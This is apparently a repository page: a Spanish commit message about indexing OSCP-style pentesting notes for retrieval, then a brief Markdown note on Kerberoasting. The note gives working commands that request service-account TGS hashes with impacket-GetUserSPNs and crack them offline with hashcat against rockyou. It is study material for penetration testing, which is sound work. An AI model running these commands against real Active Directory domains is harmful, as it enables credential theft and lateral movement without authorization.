7e06ce46cf
El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP, scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya sabe de enumeracion, explotacion web, shells, privesc, Active Directory, cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.
22 lines
722 B
Markdown
22 lines
722 B
Markdown
# Kerberoasting
|
|
|
|
> Pides el **TGS** de cuentas de servicio (las que tienen **SPN**) y crackeas su hash offline. Uno de los 7 caminos de Active Directory.
|
|
|
|
## Requisito
|
|
Cualquier credencial **válida** de dominio (un user cualquiera).
|
|
|
|
## Ataque
|
|
```bash
|
|
impacket-GetUserSPNs dominio/usuario:password -dc-ip IP -request
|
|
# → te devuelve hashes TGS (Kerberos 5 TGS-REP, $krb5tgs$)
|
|
```
|
|
|
|
## Crackeo offline
|
|
```bash
|
|
hashcat -m 13100 hashes.txt rockyou.txt
|
|
```
|
|
|
|
## Por qué funciona
|
|
El TGS va cifrado con el hash de la cuenta de servicio (Kerberos). Si su password es débil → crackeo → credencial nueva → Movimiento lateral.
|
|
|
|
Relacionado: Cracking de contraseñas · AS-REP Roasting · Impacket · BloodHound · OSCP MOC
|